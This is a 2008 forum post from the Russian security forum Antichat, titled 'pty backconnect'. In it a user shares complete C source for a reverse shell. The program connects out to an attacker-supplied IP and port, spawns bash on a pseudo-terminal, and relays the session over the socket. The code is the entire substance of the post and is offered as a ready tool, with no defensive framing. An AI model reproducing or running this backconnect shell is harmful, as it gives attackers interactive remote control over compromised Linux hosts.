ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Безопасность > *nix
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

pty backconnect
  #1  
Старый 22.03.2008, 21:41
Ky3bMu4
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме:
1777536

Репутация: 932


Отправить сообщение для Ky3bMu4 с помощью ICQ
По умолчанию pty backconnect

В общем, на днях разбирался с псевдотерминальным устройством, от нечего делать написал(опять "release" от кузьмича ) backconnect через pty. Исходники bindshell`а от ZaCo я видел, но всё же страрался писать сам.

Код:
#include<stdio.h>
#include<stdlib.h>
#include<netinet/in.h>
#include<sys/types.h>
#include<sys/socket.h>
#include <utmp.h>
#include <termios.h>
#include <signal.h>

pid_t pty_pid;

void set_attrib(int fd){

	struct termios tmp;

	if(tcgetattr(fd, &tmp)<0) return;

	cfmakeraw(&tmp);

	tmp.c_iflag|=ICRNL|IXON|IGNCR;

 	tcsetattr(fd,TCSANOW,&tmp);

}

void term(int sd){

	kill(pty_pid,SIGKILL);
	printf("Удачи!\r\n");
	kill(0,SIGKILL);
}

int main(int argc , char *argv[])
{
	int sock,m_pty,s_pty,hread;
	fd_set fds;
	pid_t sh_pid;
	struct sockaddr_in addr;
	char buf[1024];


	if (argc != 3)
	{
		printf("Use: %s ip  port\n",argv[0]);
		exit(0);
	}

	addr.sin_family = AF_INET ;
	addr.sin_port = htons(atoi(argv[2]));

	if (inet_aton(argv[1] , &addr.sin_addr) == 0)
	{
		perror("Invaild ip-address");
		exit -1;
	}
		
	
	if ((sock = socket(PF_INET , SOCK_STREAM , 0)) < 0)
	{
		perror("Can`t create socket"); 
		exit -1;
	}
	
	if((sh_pid = fork()) == -1)
	{
		perror("Can`t create new process");
		exit -1;
	}
	else if (sh_pid == 0)
	{
		

		if(connect(sock , (struct sockaddr*)&addr , sizeof(addr)) == -1)
		{
			perror("Connection error");
			exit -1;
		}

		openpty(&m_pty,&s_pty,0,0,0);
		set_attrib(s_pty);

		pty_pid=fork();
			
		if(pty_pid==0){ 
		
			close(m_pty);

  			login_tty(s_pty);	
			execlp("bash","bash",0);
			exit(0);

		}else if(pty_pid==-1){

			perror("Cannot open pty");
			exit -1;
		}
		

		signal(SIGINT,term);
  		signal(SIGALRM,term);
 		signal(SIGQUIT,term);
 		signal(SIGTERM,term);

		close(s_pty);

		for(;;)
		{

			FD_ZERO (&fds); 
			FD_SET (m_pty, &fds);
			FD_SET(sock,&fds);

			if(select (FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) break;

				if (FD_ISSET (m_pty, &fds)) 
				{ 

					hread=read(m_pty, buf, 1024);
					if( (hread<0) || (write(sock,buf,hread)<0)) break;	
						
				}

				if (FD_ISSET (sock, &fds)) 
				{ 

					hread=read(sock,buf,1024);
					if( (hread<0) || (write(m_pty, buf, hread)<0)) break;
					

				}
			
		}
		close(sock);
		close(m_pty);
	}	


	exit(0);
}
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ